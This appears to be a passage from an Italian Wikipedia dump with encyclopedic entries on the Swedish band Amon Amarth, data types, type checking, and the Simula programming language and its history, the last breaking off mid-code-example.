{"id": "26739", "revid": "438678", "url": "https://it.wikipedia.org/wiki?curid=26739", "title": "Amon Amarth", "text": "Gli Amon Amarth sono un gruppo musicale melodic death metal svedese formatosi nel 1988 col nome \"Scum\" a Tumba (un sobborgo di Stoccolma), capitanati dal frontman Johan Hegg. I testi del gruppo sono ispirati alla mitologia norrena e mostrano una spiccata avversione per il cristianesimo, visto come distruttore della religione norrena e causa del declino dei regni pagani scandinavi.\nStoria.\nNato col nome di Scum nel 1988, nel 1992, all'arrivo del cantante Johan Hegg, il gruppo cambi\u00f2 genere musicale (prima suonavano death metal) e il nome in Amon Amarth, per il quale trassero ispirazione dalla mitologia di J. R. R. Tolkien. Tale nome in lingua Sindarin significa infatti Monte Fato. Nel 1996 la band pubblic\u00f2 il demo \"The Arrival of the Fimbul Winter\", che segu\u00ec il mai commercializzato (ma pubblicato nell'edizione bonus di \"Versus the World\") \"Thor Arise\" (1994).\nCon l'album \"Once Sent from the Golden Hall\" del 1998 (uscito nonostante litigi e disguidi con l'allora produttore degli Entombed che portarono il gruppo a cambiare studio) la loro fama crebbe a livello internazionale. In quello stesso anno parteciparono per la prima volta al Wacken, portando successivamente a diversi tour negli USA e all'apparizione in diverse riviste musicali specializzate e in sei video musicali.\nNonostante il successo, il loro batterista, Martin Lopez, lasci\u00f2 il gruppo per unirsi agli Opeth, con cui suon\u00f2 fino al 2006. Nella formazione dell'album compar\u00ec anche un ospite alla chitarra ritmica, Anders Hansson. Tuttavia Fredrik Andersson prese il posto di Lopez, e alla chitarra (sia ritmica che solista, al pari di Olavi Mikkonen) venne assoldato Johan S\u00f6derberg, che aveva mixato e masterizzato una demo promozionale per il primo album, contenente le tracce \"Ride for Vengeance\" e \"Amon Amarth\". Questa formazione fu mantenuta fino a marzo 2015, momento in cui il batterista Fredrik Andersson lasci\u00f2 la band per dedicarsi al progetto personale This Ending.\nNel 2000 usc\u00ec il loro secondo album, \"The Avenger\" e, appena un anno dopo, \"The Crusher\" (\"Il Frantumatore\"). Dotato di un sound pi\u00f9 \"rozzo\" e primitivo, il terzo \u00e8 probabilmente l'album pi\u00f9 anticristiano prodotto dagli Amon Amarth. Il lavoro, oltre a aprire veramente le porte della fama ai cinque (i primi tour americani si registrano dopo l'uscita di questo album), \"The Crusher\" contiene la prima vera \"hit\", la traccia \"Masters of War\", che venne considerato il nuovo cavallo di battaglia dopo \"Ride for Vengeance\" del primo full-length.\nPoco prima dell'uscita del loro quarto album \"Versus the World\", il gruppo attraversava un periodo critico, e fu sull'orlo dello scioglimento. Gli Amon Amarth decisero di registrare il loro ultimo album per uscire di scena con un capolavoro. Forse \u00e8 proprio da questo sentimento di frustrazione che scaturisce la potente rabbia di quello che in origine doveva essere intitolato \"The End\". Dopo che la band si accorse del potenziale di ci\u00f2 che aveva tra le mani, tuttavia, l'album fu pubblicato col titolo di \"Versus the World\".\nIl quinto full-length \"Fate of Norns\" presenta innovazioni generali: composto quasi esclusivamente da mid-tempo, si differenzia dai precedenti tre anche per la copertina. Fu duramente valutato dalla critica per la mancanza della tradizionale brutalit\u00e0 e divise i fan tra chi lo riteneva un pessimo album e chi un'opera comunque accettabile, sebbene al di sotto della media.\nIl loro sesto album, \"With Oden on Our Side\", fu pubblicato il 22 settembre 2006 in Germania, Austria e Svizzera, il 25 settembre nel resto d'Europa e il 5 ottobre in Canada. Acclamato come il lavoro migliore dai tempi di \"Once Sent From the Golden Hall\", l'album \u00e8 stato inserito dal sito Metalitalia.com tra i migliori dieci della sua decade (2000-2009) insieme a mostri sacri come gli Slayer (presenti con l'album \"God Hates Us All\").\nIl 19 settembre 2008 venne pubblicato il loro settimo album, \"Twilight of the Thunder God\", opera dallo stile vario. \u00c8 anche il primo album in cui gli Amon Amarth accettano special guests. Nell'apertura, \"Twilight of the Thunder God\", Roope Latvala dei Children of Bodom suona l'assolo di chitarra; in \"Guardians of Asgaard\", alla voce di Johan Hegg si alterna quella di Lars Goran Petrov, il cantante degli Entombed. Infine, in \"Live for the Kill\", i tre violoncellisti componenti degli Apocalyptica fanno la loro parte durante l'ultimo minuto. In \"Free Will Sacrifice\" \u00e8 inoltre presente un coro (maschile, tutti quanti in growl) che intona il ritornello assieme a Hegg, e in \"Tattered Banneres and Bloody Flags\" si possono chiaramente udire corni di battaglia.\nNel 2009, la rivista Metal Hammer Germania li ha eletti \"Miglior Band Live\" al concorso Golden Gods.\nIl 20 marzo 2011 esce l'ottavo album \"Surtur Rising\", poi premiato come \"Best Album\" ai Metal Hammer Awards 2011.\nIl 21 giugno 2013 per Metal Blade Records esce il nuovo album della band, intitolato \"Deceiver of the Gods\", che contiene due dischi: il primo \u00e8 l'album originale, composto da dieci tracce inedite, e il secondo disco \u00e8 un EP contenente 4 canzoni arrangiate con lo stile di altri noti gruppi della scena heavy metal. Quest'ultimo \u00e8 presente soltanto nell'edizione limitata dell'album.\nNel marzo del 2015 il batterista Fredrik Andersson lascia la band dopo 17 anni per dedicarsi al progetto personale \"This Ending\".\nIl 25 marzo 2016 \u00e8 stato pubblicato Jomsviking.\nIl 30 settembre 2016, Jocke Wallgren viene annunciato come nuovo batterista del gruppo.\nIl 3 maggio 2019 la band pubblica il suo undicesimo album, \"Berserker\"."}
{"id": "26742", "revid": "104485", "url": "https://it.wikipedia.org/wiki?curid=26742", "title": "Tipo di dato", "text": "Un tipo di dato, in informatica, indica l'insieme di valori che una variabile, o il risultato di un'espressione, possono assumere e le operazioni che su tali valori si possono effettuare. Dire per esempio che la variabile X \u00e8 di tipo \"numero intero\" significa affermare che X pu\u00f2 assumere come valori solo numeri interi (appartenenti ad un certo intervallo) e che su tali valori sono ammesse solo certe operazioni (ad esempio le operazioni aritmetiche elementari).\nOgni linguaggio di programmazione consente di usare, in modo pi\u00f9 o meno esplicito, un certo numero di tipi di dati predefiniti di uso generale, e di solito fornisce strumenti per definire nuovi tipi sulla base delle necessit\u00e0 specifiche di un programma.\nPu\u00f2 anche accadere, durante la scrittura di un programma, che sia utile o necessario \"tradurre\" una variabile di un certo tipo in una variabile di un altro tipo (l'operazione \u00e8 detta \"type casting\"): alcuni linguaggi mettono a disposizione costrutti sintattici per questo scopo, ma in altri casi \u00e8 necessario scrivere una funzione che associ i valori di un tipo a quelli dell'altro.\nTipizzazione statica e dinamica.\nSi parla di \"tipizzazione statica\" quando a una variabile viene associato rigidamente un tipo che rimane lo stesso per tutto il programma e di \"tipizzazione dinamica\" quando una variabile pu\u00f2 cambiare tipo durante l'esecuzione del programma.\nAd esempio, il C \u00e8 un linguaggio con tipizzazione statica; C++ e Java permettono sia tipizzazione statica che dinamica; Lisp, Visual Basic e Python sono linguaggi con tipizzazione dinamica.\nPer vedere come funziona il controllo sui tipi, si pu\u00f2 considerare il seguente esempio in pseudocodice:\n var x; \"// (1)\"\n x := 5; \"// (2)\"\n x := \"ciao\"; \"// (3)\"\nIn questo esempio: (1) dichiara la variabile x, (2) associa a x il valore di tipo intero 5, (3) associa a x il valore di tipo stringa \"ciao\" (qui si suppone che \"intero\" e \"stringa\" siano due tipi). Nella maggior parte dei linguaggi con tipizzazione statica un codice di questo tipo sarebbe illegale, poich\u00e9 (2) e (3) associano alla variabile x valori appartenenti a tipi diversi; al contrario un linguaggio con tipizzazione totalmente dinamica troverebbe questo codice perfettamente legale. In quest'ultimo caso, ovviamente, la dichiarazione iniziale in (1) avrebbe dovuto specificare, con una qualche sintassi, il tipo da associare a x. Un esempio in Java potrebbe essere come segue:\n int x; \"// (1)\"\n x = 5; \"// (2)\"\n x = \"ciao\"; \"// (3)\" \u2192 rifiutata dal compilatore\nUn linguaggio con tipizzazione dinamica consente di catturare \"errori di tipo\" (cio\u00e8 errori dovuti a un uso scorretto dei valori che una variabile pu\u00f2 assumere) solo durante l'esecuzione del programma.\nSi consideri ad esempio il seguente pseudocodice:\n var x = 5; \"// (1)\"\n var y = \"ciao\"; \"// (2)\"\n var z = x + y; \"// (3)\"\nIn questo esempio: (1) associa a x il valore 5, (2) associa a y il valore \"ciao\" e (3) cerca di sommare x e y. In un linguaggio con tipizzazione dinamica, durante l'esecuzione del frammento di pseudocodice indicato, la variabile x risulterebbe (in quel momento) di tipo intero con valore 5, mentre la variabile y risulterebbe di tipo stringa con valore \"ciao\" (qui si suppone che \"intero\" e \"stringa\" siano due tipi). Se la definizione del linguaggio non ammette l'operazione di addizione fra un intero e una stringa, durante l'esecuzione del programma verr\u00e0 segnalato un errore.\nTipi di dati.\nI tipi di dati possono essere classificati secondo la struttura in tipi \"atomici\" o \"primitivi\" e tipi \"derivati\". I tipi primitivi sono i tipi semplici che non possono essere decomposti, come ad esempio numeri interi o booleani; ogni linguaggio tipizzato ne possiede. I tipi derivati si ottengono dai tipi atomici mediante opportuni operatori forniti dal linguaggio: essi includono i tipi strutturati (\"record\") o gli \"array\", ma anche i puntatori di un tipo fissato (in linguaggi come il C), i tipi funzione (specialmente nei linguaggi funzionali), le classi dei linguaggi object-oriented e cos\u00ec via.\nUn'altra classificazione suddivide i tipi di dati in \"predefiniti\" e \"definiti dall'utente\". Si potrebbe pensare che i tipi predefiniti coincidano con i tipi atomici, mentre i tipi definiti dall'utente siano essenzialmente quelli derivati: in realt\u00e0 le due classificazioni non sono perfettamente sovrapponibili\u00a0\u2013 ad esempio le \"enumerazioni\" in linguaggi come il C sono tipi atomici definiti dall'utente, mentre sempre in C le stringhe sono tipi derivati (dal tipo carattere) ma predefinite dal linguaggio. D'altra parte \u00e8 quasi sempre vero che i tipi definiti dal programmatore sono necessariamente tipi derivati.\nAlcuni dei tipi di dati pi\u00f9 comuni nei linguaggi di programmazione sono i seguenti.\nBooleani.\nIl tipo booleano ha due soli valori: \"true\" (\"vero\") e \"false\" (\"falso\"). Essi vengono utilizzati in modo speciale nelle espressioni condizionali per controllare il flusso di esecuzione e possono essere manipolati con gli operatori booleani AND, OR, NOT e cos\u00ec via.\nAnche se in teoria basterebbe un solo bit per memorizzare un valore booleano, per motivi di efficienza si usa in genere un'intera parola di memoria, come per i numeri interi \"piccoli\" (una parola di memoria a 8 bit, per esempio, pu\u00f2 memorizzare numeri da 0 a 255, ma il tipo booleano utilizza solo i valori 0 e 1).\nNumeri.\nI tipi di dati numerici includono i numeri interi e i numeri razionali in virgola mobile, che sono astrazioni dei corrispondenti insiemi di numeri della matematica. Quasi tutti i linguaggi includono tipi di dati numerici come tipi predefiniti e forniscono un certo numero di operatori aritmetici e di confronto su di essi.\nA differenza degli insiemi numerici della matematica, i tipi di dati numerici sono spesso limitati (includono cio\u00e8 un \"massimo\" e un \"minimo\" numero rappresentabile), dovendo essere contenuti in una singola parola (\"word\") di memoria.\nCaratteri e stringhe.\nIl tipo \"carattere\" contiene un carattere, generalmente ASCII, memorizzato in un byte. Tuttavia in questi anni si sta affermando il nuovo standard Unicode per i caratteri, che prevede 16 bit (che generalmente corrisponde a una parola di memoria) per la rappresentazione di un singolo carattere. Molti linguaggi tradizionali si sono adattati a questo standard emergente introducendo, in aggiunta al tipo \"carattere a 8 bit\", un nuovo tipo \"carattere a 16 bit\", talvolta detto \"wide char\" (il linguaggio Java \u00e8 invece un esempio di linguaggio moderno che gestisce direttamente tutti i caratteri nel formato Unicode).\nLe \"stringhe\" sono sequenze di caratteri di lunghezza finita. I linguaggi possono fornire operazioni per la concatenazione di stringhe, la selezione di sottostringhe di una stringa data, ecc.\nEnumerazioni.\nLe enumerazioni sono insiemi finiti di identificatori, generalmente specificati dal programmatore. In linguaggi come C e C++ \u00e8 possibile definire dei tipi enumerazione con una sintassi simile alla seguente:\n enum Color { RED, GREEN, BLUE };\nUna variabile di tipo \"Color\" potr\u00e0 in tal caso assumere solo i valori \"RED\", \"GREEN\" e \"BLUE\". Rispetto alle tecniche tradizionali per gestire analoghi generi di dati, che prevedevano semplicemente di adottare una convenzione numerica implicita (per esempio scrivo \"1\" per intendere \"rosso\", \"2\" per intendere \"verde\" e cos\u00ec via), i tipi enumerati forniscono una maggiore leggibilit\u00e0 e una migliore astrazione sui dati.\nPuntatori.\nI valori di tipo puntatore sono indirizzi di memoria di variabili, oggetti (o altri elementi di programma). L'operatore con cui, dato un puntatore, si accede all'oggetto puntato viene detto \"operatore di dereferenziazione\" (\"dereferencing\"). Molti linguaggi offrono anche un operatore \"inverso\", spesso detto \"operatore indirizzo-di\", che data una variabile consente di ricavarne l'indirizzo. Un insieme esteso di operazioni sui puntatori viene fornito dai linguaggi dotati di aritmetica dei puntatori.\nL'uso di puntatori \u00e8 spesso necessario per costruire strutture dati complesse e dalla forma non prevedibile a priori e/o variabile nel tempo come grafi, alberi, liste e cos\u00ec via; inoltre, i puntatori possono essere usati per realizzare il passaggio di parametri per riferimento nei linguaggi che non lo offrono come meccanismo nativo. Se usati in modo indiscriminato, tuttavia, i puntatori possono portare allo sviluppo di software molto complesso e, soprattutto, condurre a errori di programmazione difficili da individuare. Per questo motivo alcuni linguaggi, tra cui Java, tentano di limitarne l'uso.\nRiferimenti.\nAlcuni linguaggi forniscono un meccanismo simile ai puntatori, ma caratterizzato da dereferenziazione implicita; le variabili di questo tipo sono dette \"riferimenti\".\nLe caratteristiche dei riferimenti sono diverse nei diversi linguaggi, ma in generale hanno una caratteristica comune: sintatticamente, i tipi riferimento non richiedono l'uso di un operatore di dereferenziazione, e non prevedono un operatore \"indirizzo di\"; di conseguenza, sui riferimenti non \u00e8 possibile l'aritmetica dei puntatori.\nEsempi di linguaggi che ne fanno uso, con caratteristiche diverse, sono il C++ (vedi anche riferimento (C++)) e Java.\nArray.\nUn array \u00e8 una sequenza finita di elementi appartenenti a un determinato tipo, indicizzata mediante un numero intero.\nRecord.\nI \"record\", detti anche \"tuple\" o \"strutture\", sono aggregati di tipi di dati pi\u00f9 semplici, la cui composizione pu\u00f2 essere definita dall'utente. Un record \u00e8 necessario per mantenere informazioni eterogenee correlate: potrebbero ad esempio essere usati per modellare le schede dell'archivio di una biblioteca, che devono contenere stringhe per il titolo di un libro e il nome del suo autore, ma anche un valore numerico indicante la collocazione; ciascuna di queste informazioni (\"campi\" del record) pu\u00f2 essere acceduta in modo indipendente specificandone il nome: in molti linguaggi, specialmente quelli derivati dal C, questa operazione \u00e8 specificata mediante l'operatore . (punto):\ncout \u00ab scheda.autore; // stampa il nome dell'autore\ncout \u00ab scheda.titolo; // stampa il titolo del libro\nPoich\u00e9 in molti casi \u00e8 necessario imporre una coerenza ai dati contenuti in un record, certi linguaggi consentono di definire tipi di dati astratti, che sono essenzialmente record la cui struttura fisica non \u00e8 visibile e che possono essere manipolati soltanto mediante certe operazioni fidate(non necessariamente in ogni caso) specificate in un'interfaccia. Sui tipi di dati astratti si basano anche i tipi classe tipici della programmazione orientata agli oggetti.\nTipi funzione.\nIn molti linguaggi, una variabile pu\u00f2 contenere un puntatore a funzione. Dereferenziando la variabile sar\u00e0 quindi possibile invocare una funzione definita a runtime.\nPer garantire che la funzione sia invocata con argomenti di tipo corretto, il tipo di una variabile funzione \u00e8 definito dalla \"signature\" della funzione, ovvero dal tipo del valore restituito e dal tipo e ordine degli argomenti della funzione.\nDi conseguenza, le funzioni possono restituire funzioni cos\u00ec come gli altri tipi di dati, e possono ricevere funzioni come argomenti, al pari degli altri tipi di dati. Un esempio in Perl:\nsub generaAccumulatore {\n my $accumulator=0;\n return sub { \n $inc = shift;\n $accumulator += $inc;\n return $accumulator; \n$accumulatore1=generaAccumulatore();\n$accumulatore2=generaAccumulatore();\n$accumulatore1-&gt;(4);\nprint $accumulatore2-&gt;($accumulatore1-&gt;(1)) . \" e \" . $accumulatore1-&gt;(3);\nTipi generici o template.\nI costruttori di tipo visti finora sono costrutti definiti dal linguaggio di programmazione, e possono essere utilizzati dal programmatore per costruire nuovi tipi di dato sulla base di tipi esistenti.\nIn alcuni linguaggi \u00e8 anche possibile specificare anche \"tipi generici\" (detti anche \"parametrici\" o \"template\"), che sono in effetti costruttori di tipo definiti dal programmatore. Essi non possono essere direttamente usati nei programmi, ma devono essere applicati ad uno o pi\u00f9 tipi esistenti (che sono quindi i parametri del costruttore) per generare nuovi tipi di dato. La relazione tra costruttore di tipo e tipo concreto pu\u00f2 quindi essere vista in analogia a quella tra classe ed oggetto nella programmazione orientata agli oggetti.\nSar\u00e0 quindi possibile definire il template \"lista\", che pu\u00f2 quindi essere istanziato sugli interi per ottenere il tipo \"lista di interi\", o su booleani per ottenere \"lista di booleani\".\nIl principale beneficio \u00e8 quello di non essere costretti a dare una definizione diversa delle liste per ogni possibile tipo contenuto, in modo tale da ridurre il codice replicato.\nNei linguaggi orientati agli oggetti, i template sono costruttori di classi parametrici rispetto ad uno o pi\u00f9 tipi, e quindi includono anche il codice per operare sulle classi stesse. In quanto tali, sono particolarmente adatti alla definizione di tipi \"contenitore\" (come lista, insieme, albero), che comprendono sia la struttura dati per rappresentare in memoria il contenitore che le operazioni per accedere ai suoi membri.\nIn questo modo, il codice per la definizione e l'accesso alle strutture dati viene reso ortogonale sia rispetto ai tipi di dato memorizzati che rispetto agli algoritmi che operano sulle strutture dati. Questo approccio \u00e8 stato seguito in modo organico dalla libreria STL, inclusa nel linguaggio C++.\nTipologie di linguaggi.\nControllo sui tipi: linguaggi fortemente e debolmente tipizzati.\nIl \"controllo sui tipi\" (\"type checking\") \u00e8 il procedimento che permette di verificare se i vincoli imposti dai tipi sono soddisfatti. Tale verifica pu\u00f2 avvenire sia durante la compilazione, e si parla in tal caso di \"controllo statico\" (in inglese \"static check\"), sia durante l'esecuzione del programma, e si parla in tal caso di \"controllo dinamico\" (in inglese \"dynamic check\"). Alcuni linguaggi operano alcuni controlli di tipo in fase di compilazione e altri durante l'esecuzione.\nSe un linguaggio impone regole rigide sui tipi, impedendo qualsiasi uso dei dati incoerente col tipo specificato in fase di dichiarazione, si dice che esso \u00e8 \"fortemente tipizzato\"; in caso contrario, che \u00e8 \"debolmente tipizzato\"."}
{"id": "26743", "revid": "438678", "url": "https://it.wikipedia.org/wiki?curid=26743", "title": "Type check", "text": "In informatica con type check si indica l'operazione che consiste nel controllare che i valori assegnati ad una variabile siano di un tipo di dato ammissibile per il tipo della variabile.\nQuesta operazione \u00e8 fondamentale per i linguaggi tipizzati come il C++, dove l'interpretazione del contenuto di una variabile dipende dal suo tipo. Non viene invece effettuata per i linguaggi senza tipi, dove invece \u00e8 la variabile ad adattarsi al dato che le viene assegnato.\nLa definizione di un linguaggio tipizzato comprende anche le regole che determinano se una conversione di tipo (type casting) sia ammissibile. Ad esempio, normalmente si pu\u00f2 assegnare un intero a 16 bit ad uno a 32 bit, perch\u00e9 non c'\u00e8 rischio di perdere informazione, mentre non si pu\u00f2 fare il contrario.\nAlcuni linguaggi utilizzano un \"type checking statico\", ovvero effettuano questo controllo al momento della compilazione, e rifiutano di compilare un programma se ad esempio si tenta di assegnare un intero ad una variabile di tipo puntatore.\nAltri effettuano il \"type checking a runtime\", e il compilatore incorpora automaticamente nei programmi eseguibili la logica per valutare se un assegnamento \u00e8 ammissibile."}
{"id": "26745", "revid": "124874172", "url": "https://it.wikipedia.org/wiki?curid=26745", "title": "Simula", "text": "Il Simula \u00e8 stato il primo linguaggio di programmazione orientato agli oggetti (OOP). Da esso sono derivati lo Smalltalk e il C++; tuttavia il linguaggio di programmazione moderno ad oggetti che pi\u00f9 si avvicina al Simula \u00e8 il Java.\n\u00c8 stato sviluppato a partire dagli anni sessanta al Norwegian Computing Center di Oslo, principalmente da Ole-Johan Dahl e Kristen Nygaard.\nDescrizione.\nLa prima versione del linguaggio, concepito come superinsieme dell'Algol 60, \u00e8 del 1962. Non venne prodotto un compilatore specifico per il linguaggio, ma la Sperry Rand (o meglio la sua divisione UNIVAC) modific\u00f2 il suo compilatore ALGOL per i sistemi UNIVAC 1100 affinch\u00e9 fosse in grado di compilare anche le estensioni Simula.\nNel 1967 vide la luce il vero Simula, che prese il nome di Simula 67: un linguaggio a s\u00e9 stante, che introduce molte delle caratteristiche di un moderno linguaggio orientato agli oggetti, come: oggetti, classi, sottoclassi, ereditariet\u00e0, metodi virtuali (che in Simula si chiamano per\u00f2 \"procedure virtuali\"), coroutine, eventi, e la gestione e il rilascio automatico della memoria per mezzo della garbage collection.\nIn seguito il Simula 67 venne ribattezzato col nome del suo predecessore Simula, che a sua volta venne ribattezzato Simula I.\n\"Il Simula \u00e8 sempre stato un linguaggio di programmazione \"general purpose\", essendo nato come superinsieme dell'Algol. Sfortunatamente il suo nome riduttivo \u00e8 stata la fonte principale di incomprensione da parte degli utilizzatori potenziali\". Anche se, proprio per questo motivo, \u00e8 stato usato principalmente per simulazioni (ad esempio: VLSI, modellizzazione dei processi, protocolli, algoritmi, sistemi quasi-paralleli), il Simula ha trovato applicazione anche in altri campi, quali la composizione tipografica e la computer grafica. Non va inoltre dimenticato, a riprova del fatto che si tratta di un linguaggio d'uso generale, che i compilatori Simula sono scritti in Simula.\nPer le sue caratteristiche il Simula ha fornito il paradigma alla maggior parte dei linguaggi orientati agli oggetti di oggi e anche se le classi e gli oggetti come definiti dal Simula sono acquisiti da altri linguaggi come il C++, il C#, l'Eiffel e il Java, la sua influenza \u00e8 tuttora spesso sottovalutata. Tuttavia Bjarne Stroustrup ha riconosciuto che il Simula \u00e8 stato il linguaggio che pi\u00f9 l'ha influenzato quando ha sviluppato il C++ con lo scopo di aggiungere alla velocit\u00e0 di calcolo offerta dai linguaggi di basso livello come il BCPL il miglioramento della produttivit\u00e0 permesso dal Simula.\nIl Simula viene tuttora insegnato, anche se in modo limitato, in vari corsi universitari: ad esempio Jarek Sklenar insegna il Simula agli studenti presso l'Universit\u00e0 di Malta. Oltre che in ambito accademico il Simula viene tuttora utilizzato presso il Simula Research Laboratory.\nDal Simula \u00e8 derivato il BETA, che per\u00f2 ha avuto una diffusione limitata.\nStoria.\nCi\u00f2 che segue \u00e8 basato su un saggio storico di Jan Rune Holmevik.\nKristen Nygaard inizi\u00f2 a scrivere programmi di simulazione per computer nel 1957. Sosteneva che occorresse trovare un modo migliore per descrivere l'eterogeneit\u00e0 e il funzionamento di un sistema. Si rese per\u00f2 conto che, per poter compiere un passo in avanti verso un linguaggio di programmazione formale in grado di descrivere un sistema, aveva bisogno di qualcuno pi\u00f9 abile di lui nella programmazione. Nel gennaio del 1962 Ole-Johan Dahl si un\u00ec alla squadra e quasi subito i due decisero di \"appoggiare\" il nuovo linguaggio sull'Algol 60. Nel maggio del 1962 furono fissati i fondamenti del linguaggio di simulazione: era nato il Simula, un linguaggio di programmazione in grado di simulare eventi discreti.\nA fine maggio Kristen Nygaard fu invitato dall'UNIVAC in occasione della commercializzazione del nuovo calcolatore UNIVAC 1107. Durante\nla visita Kristen Nygaard parl\u00f2 delle sue idee sul Simula a Robert Bemer, il direttore della programmazione di sistema dell'UNIVAC. Bemer era un fan dell'Algol e trov\u00f2 il progetto Simula convincente. Bemer era anche chairman di una sessione alla seconda \"International Conference on Information Processing\", ospitata dall'IFIP. Cos\u00ec invit\u00f2 alla conferenza Nygaard, che present\u00f2 la memoria \u201cSIMULA \u2013 Un'estensione dell'ALGOL per la descrizione di reti a eventi discreti\u201d (\u201cSIMULA - An Extension of ALGOL to the Description of Discrete-Event Networks\").\nNell'agosto del 1963 il Norwegian Computing Center acquist\u00f2, con un notevole sconto, un UNIVAC 1107, su cui Dahl svilupp\u00f2 il SIMULA, appunto come estensione del compilatore dell'Algol 60, sotto contratto con l'UNIVAC. L'UNIVAC in realt\u00e0 avrebbe voluto realizzare anche un compilatore Simula basato sul Fortran, ma il progetto fu abbandonato perch\u00e9 Dahl e Nygaard ritenevano essenziale la struttura a blocchi del nuovo linguaggio, che col Fortan sarebbe risultata incompatibile.\nNel gennaio del 1965 il Simula \u00e8 pienamente operativo. Nei due anni seguenti Dahl e Nygaard dedicano molto del loro tempo all'insegnamento di Simula. Il linguaggio si diffonde in molti paesi e vengono realizzati compilatori per altre macchine, come il Burroughs B5500 e il russo URAL-16.\nNel 1966 Tony Hoare introduce la classe \"record\", che Dahl e Nygaard estendono col concetto di prefisso e altre funzionalit\u00e0.\nNel maggio del 1967 Dahl e Nygaard presentano la loro memoria sulle \"classi\" e le \"sottoclassi\" alla \u201cIFIP Working Conference on Simulation Languages\u201d a Oslo. Questo scritto diventa la prima definizione formale del Simula 67. Nel giugno del 1967 si tenne una conferenza per standardizzare il linguaggio e dare il via a diverse implementazioni. Dahl propose di unificare i concetti di \"tipo\" e di \"classe\". La proposta accese una discussione animata e fu rigettata. Il Simula 67 fu standardizzato formalmente durante il primo meeting del \"SIMULA Standards Group\" (SSG) nel febbraio del 1968.\nIl Simula ha influenzato lo sviluppo di Smalltalk e, in seguito, di altri linguaggi di programmazione orientati agli oggetti, come il C++, l'Eiffel e il Java. Ha inoltre ispirato il modello per il calcolo concorrente, anche se, in realt\u00e0 supporta solo le coroutine e non la vera concorrenza.\nAlla fine degli anni sessanta e nei primi anni 70 i quattro principali compilatori furono realizzati su sistemi:\nL'ultimo standard del Simula, il Simula 87, include i concetti di \npubblico, protetto e privato mutuati dal sistema operativo TOPS-10. Il tre principali compilatori che aderiscono a questo standard sono:\nNel novembre del 2001 l'Institute of Electrical and Electronic Engineers (IEEE) assegn\u00f2 a Dahl e Nygaard la IEEE John von Neumann Medal, con la motivazione: \u201cPer l'introduzione dei concetti alla base della programmazione orientata agli oggetti mediante la progettazione e la realizzazione del Simula 67\u201d.\nNel febbraio del 2002 hanno ricevuto il Premio Turing 2001, considerato il Nobel del calcolo, dall'Association for Computing Machinery (ACM), con la motivazione: \u201cPer le idee fondamentali per la nascita della programmazione orientata agli oggetti mediante la progettazione dei linguaggi di programmazione Simula I e Simula 67\u201d. Purtroppo n\u00e9 Dahl, n\u00e9 Nygaard hanno potuto essere presenti all\"'ACM Touring Award Lecture\", programmato per la conferenza OOPSLA del novembre 2002 a Seattle, in quanto entrambi erano gi\u00e0 venuti a mancare, a due mesi di distanza l'uno dall'altro: a giugno (Dahl) e agosto (Nygaard) del 2002.\nIl \"Simula Research Laboratory\" \u00e8 un istituto di ricerca che ha preso il nome dal Simula. Nygaard vi ha lavorato part-time fin dalla fondazione, avvenuta nel 2001. Tutt'oggi le attivit\u00e0 di ricerca dell'istituto si svolgono in svariati ambiti, quali l'ingegneria del software, il calcolo scientifico, le reti e i sistemi distribuiti.\nEsempi di codice.\nProgramma minimo.\nIl file vuoto \u00e8 il minimo programma Simula, misurato in base alla dimensione del codice sorgente. Si compone di una sola cosa, un'istruzione fittizia.\nTuttavia, il programma minimo \u00e8 pi\u00f9 convenientemente rappresentato da un blocco vuoto che d\u00e0 inizio all'esecuzione e termina immediatamente.\n Begin\n End;\nHello world.\nNota. Il Simula non \u00e8 case-sensitive.\nUn esempio di hello world in Simula\n Begin\n OutText (\"Hello World!\");\n Outimage;\n End;\nClassi, sottoclassi, metodi e metodi virtuali.\nUn pi\u00f9 realistico esempio dell'uso di classi, sottoclassi, metodi e metodi virtuali.\nL'esempio mostra come alcune delle caratteristiche principali dell'OOP di oggi erano gi\u00e0 presenti in Simula, come ad esempio la possibilit\u00e0 di creare metodi virtuali. Tali metodi vengono inizialmente dichiarati in una superclasse, senza necessariamente dar loro un'implementazione (viene scritta solo l'intestazione); in seguito, con la dichiarazione delle sottoclassi, questi metodi possono essere implementati in modo diverso a seconda della sottoclasse (\u00e8 questa una delle caratteristiche del polimorfismo)\n Begin\n Class glifo;\n Virtual: Procedure print Is Procedure print;;\n Begin\n End;\n glifo Class carattere(c);\n Character c;\n Begin\n Procedure print;\n OutChar(c);\n End;\n glifo Class riga(elementi);\n Ref(glifo) Array elementi;\n Begin\n Procedure print;\n Begin\n Integer i;\n For i:= 1 Step 1 Until UpperBound(elementi,1) Do\n elementi(i).print;\n OutImage;\n End;\n End;\n \"!Programma principale;\"\n Ref(glifo) rg;\n Ref(glifo) Array rgs(1:4);\n rgs(1) :- New carattere('M');\n rgs(2) :- New carattere('i');\n rgs(3) :- New carattere('n');\n rgs(4) :- New carattere('a');\n rg :- New riga(rgs);\n OutText(\"La mia cantante preferita: \");\n rg.print;\n End;\nNell'esempio sopra la superclasse glifo ha due sottoclassi: carattere e riga. L'esecuzione inizia col programma principale che, come si pu\u00f2 notare, oltre a creare i vari oggetti, usa la procedura print definita nella sottoclasse riga (rg \u00e8 infatti un oggetto della sottoclasse riga). Si noti che print \u00e8 definita anche nella sottoclasse carattere, ma questa \"versione\" della procedura non viene usata.\nL'uscita del programma \u00e8:\n La mia cantante preferita: Mina\nIn Simula non esistono classi astratte, in quanto anche le classi con metodi virtuali puri (non ancora implementati) possono essere istanziate. Ci\u00f2 significa che nell'esempio qui sopra tutte le classi possono essere istanziate (compresa la glifo); in tal caso la chiamata di un metodo virtuale puro (quindi non ancora implementato) produce un errore di runtime.\nPassaggio dei parametri per nome.\nIn Simula il passaggio dei parametri avviene di regola per valore (nel caso di parametri semplici: integer, real, character, boolean, incluse le varianti short e long) o per riferimento (in tutti gli altri casi). \u00c8 tuttavia possibile indicare al compilatore che il passaggio deve avvenire per nome, usando la parola chiave Name. Questo fa s\u00ec che un'espressione passata come parametro attuale a una procedura sia rivalutata ogni volta che \u00e8 richiesto il valore del corrispondente parametro formale. Nell'esempio qui sotto la procedura sommatoria sfrutta questa caratteristica per calcolare la seguente sommatoria:\nformula_1\n Real Procedure sommatoria (i, inf, sup, elemento);\n Name i, elemento;\n Integer i, inf, sup;\n Real elemento;\n Begin\n Real somma;\n i:=inf;\n While i &lt;= sup Do\n Begin\n somma := somma+elemento;\n i := i + 1;\n End;\n sommatoria := somma;\n End;\nSe, ad esempio, si volesse calcolare la sommatoria:\nformula_2\ncon a = 6, un possibile codice potrebbe essere:\n Begin\n Real Procedure sommatoria (i, inf, sup, elemento);\n Name i, elemento;\n Integer i, inf, sup;\n Real elemento;\n Begin\n Real somma;\n 